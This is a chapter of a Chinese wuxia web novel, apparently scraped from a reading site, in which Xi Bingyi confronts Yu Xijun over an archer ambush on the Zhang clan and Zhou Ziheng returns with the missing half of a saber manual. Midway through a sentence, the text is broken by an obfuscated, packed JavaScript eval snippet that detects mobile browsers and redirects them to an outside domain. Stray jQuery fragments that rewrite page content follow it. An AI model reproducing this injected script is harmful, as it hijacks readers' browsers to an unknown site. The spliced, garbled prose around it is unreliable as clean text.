26.人心

作品:《难道我不像剑修?

    霍钦发现自己还是有些想当然了。


    他原以为来的只有玉惜君一人,自然愿意放任她坐山观虎斗,却没想到不知什么时候竟有如此多的弓箭手埋伏在张氏,看来他们所求甚大。


    他扫过屋顶一个个挽弓的弓箭手,暗地里抚摸了一下自己的邀月弓。


    正中央的人被玉惜君威胁震慑,一时间没人敢轻举妄动,只剩下玉惜君这只黄雀在悠哉游哉地观赏着琉璃水榭。


    席冰漪茫然地看着面前这个无比陌生的人,她伸手想拽住玉惜君的衣袖,却只抓住一片香风。“玉姨,你怎么会在这……怎么会……”


    玉惜君停下脚步,她沉默了好一会,不知该如何向席冰漪解释,最后只能装作没听见,忽视了席冰漪闪烁泪光的眼睛。


    见玉惜君不理她,席冰漪不顾虎视眈眈的弓箭手,直接往地上抽了一鞭子。


    剧烈的响声吸引了所有人的注意力,屋顶的弓箭手齐齐掉转方向指着她,席冰漪却无所畏惧,她泪眼朦胧,一步步走向需玉惜君,声音颤抖:“告诉我啊——回答我啊!”


    短短一天,席冰漪见到了背叛亲族的张远寒、玉惜君。


    她十几年无忧无虑的时光在这一刻破开裂缝,照进来的却是人心难测、背叛苦痛。


    席冰漪从没有一刻这样痛苦,她所认为的无害的、傻瓜式的张远寒是假的,甚至还不知他接近自己是否是别有用心,更怀疑那时船上的海寇是不是也只是一个局。


    她记忆中的温柔的、明媚的玉姨是假的,她带着好多人围攻张氏,做着最令江湖人所不齿的事,那她的梅花山庄,她的家,还是真的吗?


    席冰漪泪如雨下,她哽咽到说不出话来,却还是坚定地握着鞭子朝玉惜君走去,固执地寻求一个答案。


    “是谁让你来的?梅花山庄吗?你自己吗?”在玉惜君的制止下,弓箭手无一人敢动,只能放任席冰漪来到玉惜君面前,“玉姨,告诉我,求求你……告诉我为什么……”


    席冰漪哭得太痛,痛得玉惜君眼底也闪过泪光,她想摸摸席冰漪的脑袋,她想把席冰漪拢入怀中,像小时候那样安慰她、拥抱她,可是她不行,不可以,不能够。


    于是她硬气语气:“没有为什么,冰漪,你也该睁眼看看了。”


    “看什么?看你如何玩弄人心,看你如何计谋高明,看你如何毫无理由屠杀张氏满门?”


    席冰漪声音带着微不可察的恨意,她指着庭院下的人,咬着牙:“所以我母亲死后,你就变得这样恶心了吗?!”


    这话说得太重,深深刺痛了玉惜君,愤怒悲痛席卷了整个心脏,她扬起手,狠狠打在席冰漪脸上,发出响亮的巴掌声。


    玉惜君愣住了,她手指抽搐了一下,想抚摸那处红肿,却被席冰漪用力打开手。


    席冰漪无声地笑了起来,笑着笑着眼泪落了满地,她哭得脆弱,心比脸更痛,但她还是坚定地站在所有人前面,恶狠狠道:“你想杀他们,我不允许!”


    席冰漪幼时,拥有一个无比幸福的家庭。


    她的母亲是闻名江湖的美人,是一朵锐利的玫瑰。她的父亲也是一位小有名气的“百科全书”,夫妻二人感情甚笃,梅知莹亲手为席翎打造了一把“襄王”,以示二人深厚的感情。


    她在一个充满爱、充满江湖气的家庭中长大,向往快意恩仇,向往少年意气。


    后来被梅知莹送到圣山,她也不曾感到失落。因为林有别待她如同母亲,谢允虽然身体不好,但会为他们提供丰厚的生活条件,更别提她还有爱护自己的师兄,每年过年还能回家团聚。


    前半生,席冰漪顺风顺水,用一双澄澈漂亮、充满爱的眼睛看世界。


    她知道世间有苦痛,一如自己师兄语焉不详的命运,一如自己师娘越来越差的身体,但她天真得不曾感同身受,她是被所有人呵护的珍宝,世间所有颂歌都被她闻唱。


    林有别希望她可以下山帮助师兄,她便应了,虽然她不知道师兄的命运到底是什么,但她愿意用同样的爱帮助师兄,愿意用同样的爱回报她收到的珍视。


    在席冰漪过去的日子里,唯一的黑暗时光是母亲的离世。


    梅知莹像一朵艳丽的花,凋谢得突然,更令人悲痛。席冰漪失去了自己生命里最美丽的一朵花。


    如今,这道伤口却被亲近的人亲手撕开,撕开了她湿漉漉的记忆,撕开了她天真的幻想,撕开了她被保护完美的世界。


    原来亲兄弟也会为了权利挥刀相向,原来柔和的人也会因为贪婪对陌生人费心布局。


    原来江湖从来不是一池静水,原来人心千面。


    “席冰漪!”玉惜君看着她那双流泪的眼睛,眼眶同样滚烫,但她只能咬牙,“不要误解,我不是……”


    玉惜君深深地看了一眼席冰漪,眼底有些千言万语,却无法说出口,只能无力地重复,要她不要误解,不要绝望。


    霍钦不知何时来到席冰漪身边,他本不想管席冰漪,但实在是答应了周自衡要照顾好他的好师妹,他只好轻轻拍了拍席冰漪的肩膀,斟酌道:“回忆不是假的,或许你的玉姨真的有苦衷。”


    他顿了一下,叹气道:“世间的答案都不是非黑即白的,如果日后有机会,或许你可以自己去寻找答案。”


    席冰漪深吸一口气,勉强平复了心情,霍钦的话有安慰到她,她收拾好崩溃的心情冷静下来,坚定道:“玉姨,你还是要杀了所有人不可吗?”


    玉惜君心头酸涩,最终还是对席冰漪的偏爱占了上风,她语气艰难:“只要交出许义……我可以放你们一条活路。”


    “许义?”席冰漪皱眉,“为什么?”


    玉惜君不答,却听许义的声音从门外传来,霍钦回头望去,许义面容颓丧,衣服有许多被剑划破的痕迹。


    许义提着断雁刀,一步步走来,他环顾四周,尤其在张远骞身上停留了许久,简单了解了张氏的乱象后,他声音疲惫:“为什么要杀我?因为我是多年前那个‘漏网之鱼’吗?”


    他声音带着询问,眼神却坚定,好像对一切都早有预料。


    玉惜君意味深长,她指挥着弓箭手调转方向对准许义:“当然,时到今日,难道你有找到另外半阙断雁刀法吗?”


    “这是命运的馈赠,也是命运的代价。”


    “我吗?”许义却自嘲地笑了笑,“即便我不是‘许义’?”


    “无所谓你是谁,你在得到半阙断雁刀法的时候就该知道,赠予拥有期限。”


    许义无言。他当然知道半阙刀法上有什么,当年许父许母得到半阙刀法后,碍于自身天分无法修炼,但他们同样知道,这份甜蜜的赠予背后是怎样恶毒的毒药。


    每个获得断雁刀的人都知道,刀法最开始就有一句话:若无法修炼完整的断雁刀法,我将收回一切。


    所以许父许母才会逼迫许义尽快掌握断雁刀法,逼迫他日复一日的修炼,这是机缘,同时也是毒药。


    原来这句话背后的主人,竟然是玉惜君背后的势力吗?许义若有所思。


    他虽然同样知道这条约定,甚至没有人比他更清楚“收回一切”指的是屠杀所有亲族。


    但一来他并没有冠名江湖的想法,二来自己孑然一身,要“诛九族”也不会牵连,所以一直以来他从未想要寻找另外半阙刀法,也没想到这份“毒药”发作得如此突然。


    更没想到这份代价会害得张氏一团乱麻。


    许义的目光久久地停留在张远骞脸上。


    他想起周自衡临走前的讽刺、想到张远骞,本来死去的心又生出渴望的冲动,他轻声道:“即便我也有属于自己的,完整的刀法?”


    玉惜君不说话,满月般的弓弦已经表明了态度。


    场中,张远骞握紧拳头欲言又止,张远寒保持沉默静观其变……


    没人动作,但每个人都蓄势待发。许义不想坐以待毙,席冰漪也不愿玉惜君在自己眼前随意杀人,两人对视一眼达成共识,席冰漪握着鞭子,许义握着断雁刀,看着弓手,浑身警惕,像两只要捕猎的野兽。


    千钧一发之际,一声轻咳打破了僵局。


    “谁说他没有另外半阙刀法了?”周自衡的声音从露天水榭上方传来。


    你唱罢我登场,他抱着红尘剑,看着下方各色的人,笑着打了个哈欠。


    霍钦抬头朝声音的方向看去,只见周自横一身红衣脏得像在泥里滚了几圈,破破烂烂,就连头发都乱糟糟一团,不知道得还以为他去哪个犄角旮旯睡了一觉。


    看似尽在掌握的笑声中,霍钦却敏锐察觉到周自衡的虚弱疲惫,仔细看去,周自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371110|181439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    衡连抱剑的手都在颤抖,只能强撑着从空中抛了一块玉帛给许义。


    “这就是那半阙刀法,想必阁下应该认得出来。”


    从玉惜君这个角度看不清周自衡的面容,只能看见雕梁画栋般的琉璃光华,她眯起眼睛,想确定周自衡的状态,但最终还是在席冰漪警惕的打量中败下阵来,佯装不再关心来人。


    她冲席冰漪笑了笑,由衷地松了口气。


    玉惜君今日是来颠覆张氏的吗?不是。


    是来杀许义的吗?也不是。


    没人知道她今日唱得一出大戏,无论是屠张氏满门也好,还是单单只杀许义一人也罢,最根本目的都是让周自衡现身。


    让周自衡在最疲惫、最虚弱的时候,好好看着这一出爱恨情仇是是非非。


    整个张氏,都是献给他的祭品。


    玉惜君看向席冰漪的目光真挚起来,她在心底松了一口气,庆幸周自衡回来得比想象中要早,避免了一场惨案发生,面上却保持着不甘愿的做派,流露出好像今日不得不空手而归的遗憾。


    “既然如此,我好像也找不到什么理由再待下去了。”玉惜君挥退弓箭手,目光在场中转了一圈,最后移向周自衡的方向,嘴唇动了动,无声地告别:


    再见,小舟。


    女人像柳絮一般飞走了,没人知道她从哪来往哪去,她像一道惊鸿之影,好像只是为了给张氏之难再添一把火。


    周自衡目送着玉惜君远走,实在没有力气再追。在山中,他费了九牛二虎之力才摆脱女人赶来张氏,如今已是筋疲力尽头脑昏沉。


    临近十五,他又强行催动红尘剑意,此时只觉好似有万只蚂蚁在血肉里啃咬,细密连绵的疼痛让周自衡眼前发黑,他最后看了一眼霍钦和席冰漪,放心地任由自己陷入昏迷。


    霍钦接下从空中坠落的周自衡,凝视了一会他格外憔悴的面容,才把他交给席冰漪。


    “梅乐,你带周自衡去休息吧。”


    席冰漪不疑有他,连忙应了声,背起周自衡就往房间里去。


    霍钦目送两人远去的背影,直到确定彻底看不见,他才吐出一口气。随着气息的呼出,整个人都变得沉静下来,他看向张远寒,目光沉沉。


    “张远寒,海寇袭击其实是你安排的对吗?”


    张远寒笑了笑,轻轻地点了点头。


    “原以为你们会同意我的邀请的,那海寇自然就是送给你们的扬名之作。”


    “可惜……”


    他话还没说完,霍钦就已经张弓,箭矢擦着张远寒的鬓角没入身后的建筑中!


    “三杰何须这种低劣的手段扬名?”霍钦语气很狂,也很冷。


    他将拉满的弓弦对准张远骞,果然看见许义像被惹怒的狮子一般怒视着自己。


    于是他对张远寒冷笑:“你看,你还真是失败啊。”


    “家人、朋友、权力,你得到什么了呢?”


    张远寒的脸色彻底沉了下去!


    为了实现自己的野心,以示弱博取同情,说服周自衡为自己卖命,再安排一场声势浩大的“袭击”,让所有人知道原来二公子手上有一把不逊色许义的刀,利用周自衡为自己增添夺权的筹码。


    真是一场缜密的算计,一个丑陋的人心。


    张远寒目光阴沉,看向张远骞和许义的时候,又带着茫然。


    他身体很痛,心也很痛。


    兄长救回许义那天,最开始是他发现了海上昏迷漂浮的许义,但也是他劝兄长不要多管闲事。


    之后的每天,看见兄长利用许义一步步掌控张氏的每天,他都被痛苦懊悔不甘折磨。


    他恨兄长掌权得如此顺利,恨许义甘愿为张远骞做牛做马,恨自己有眼无珠错失良机。


    他也曾妄想过和许义处好关系,也想过放弃争夺张氏,可是每每看见许义看自己的眼神——嫌恶、恶心、痛恨,每每看见,他都觉得怒火中烧,那股强烈的恨意又涌了上来,将他淹没。


    为什么要那样看我?


    为什么要透过别人来看我,你是把我当成什么人了吗?


    张远寒得不到答案。


    他恨许义、恨张远骞,恨他们的感情无人插足,恨他被排除在外,恨自己明明是张远骞最亲的人,恨自己明明最先发现许义!!